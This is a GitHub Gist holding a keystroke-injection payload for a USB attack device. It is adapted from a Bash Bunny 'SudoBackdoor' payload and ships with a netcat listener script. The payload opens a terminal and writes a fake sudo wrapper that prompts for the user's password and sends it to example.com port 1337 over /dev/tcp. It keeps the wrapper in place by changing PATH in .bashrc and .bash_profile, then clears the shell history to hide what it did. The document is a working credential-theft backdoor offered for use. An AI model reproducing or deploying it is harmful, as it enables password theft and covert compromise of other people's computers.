Created
April 18, 2018 01:58
-
-
Save JonnyBanana/db7e502f9a889fd45a2db2ac0bfba12c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
REMPayload originally designed by oXis for Bash Bunny. | |
REM Bash Bunny Payload page: | |
REM https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/SudoBackdoor | |
REM Change example.com to your own domain or listening IP address and 1337 to your own port of choice. | |
DELAY 2000 | |
GUI space | |
DELAY 500 | |
ALT F2 | |
DELAY 500 | |
BACKSPACE | |
DELAY 100 | |
STRING terminal | |
ENTER | |
DELAY 3000 | |
STRING mkdir -p ~/.config/sudo | |
ENTER | |
DELAY 100 | |
STRING rm ~/.config/sudo/sudo | |
ENTER | |
DELAY 100 | |
STRING echo '#!/bin/bash | |
ENTER | |
STRING /usr/bin/sudo -n true 2>/dev/null | |
ENTER | |
STRING if [ $? -eq 0 ] | |
ENTER | |
STRING then | |
ENTER | |
STRING /usr/bin/sudo $@ | |
ENTER | |
STRING else | |
ENTER | |
STRING echo -n "[sudo] password for $USER: " | |
ENTER | |
STRING read -s pwd | |
ENTER | |
STRING echo | |
ENTER | |
STRING echo "$pwd" | /usr/bin/sudo -S true 2>/dev/null | |
ENTER | |
STRING if [ $? -eq 1 ] | |
ENTER | |
STRING then | |
ENTER | |
STRING echo "$USER:$pwd:invalid" > /dev/tcp/example.com/1337 | |
ENTER | |
STRING echo "Sorry, try again." | |
ENTER | |
STRING sudo $@ | |
ENTER | |
STRING else | |
ENTER | |
STRING echo "$USER:$pwd:valid" > /dev/tcp/example.com/1337 | |
ENTER | |
STRING echo "$pwd" | /usr/bin/sudo -S $@ | |
ENTER | |
STRING fi | |
ENTER | |
STRING fi' > ~/.config/sudo/sudo | |
ENTER | |
DELAY 600 | |
STRING chmod u+x ~/.config/sudo/sudo | |
ENTER | |
DELAY 800 | |
STRING echo "export PATH=~/.config/sudo:$PATH" >> ~/.bash_profile | |
ENTER | |
DELAY 500 | |
STRING echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc | |
ENTER | |
DELAY 500 | |
STRING history -c && rm .bash_history && exit | |
ENTER | |
DELAY 1000 | |
GUI q | |
Use this bash script to listen on your server: | |
#!/bin/bash | |
while [ true ] | |
do | |
netcat -vv -lp 1337 >> passwd.txt | |
done | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment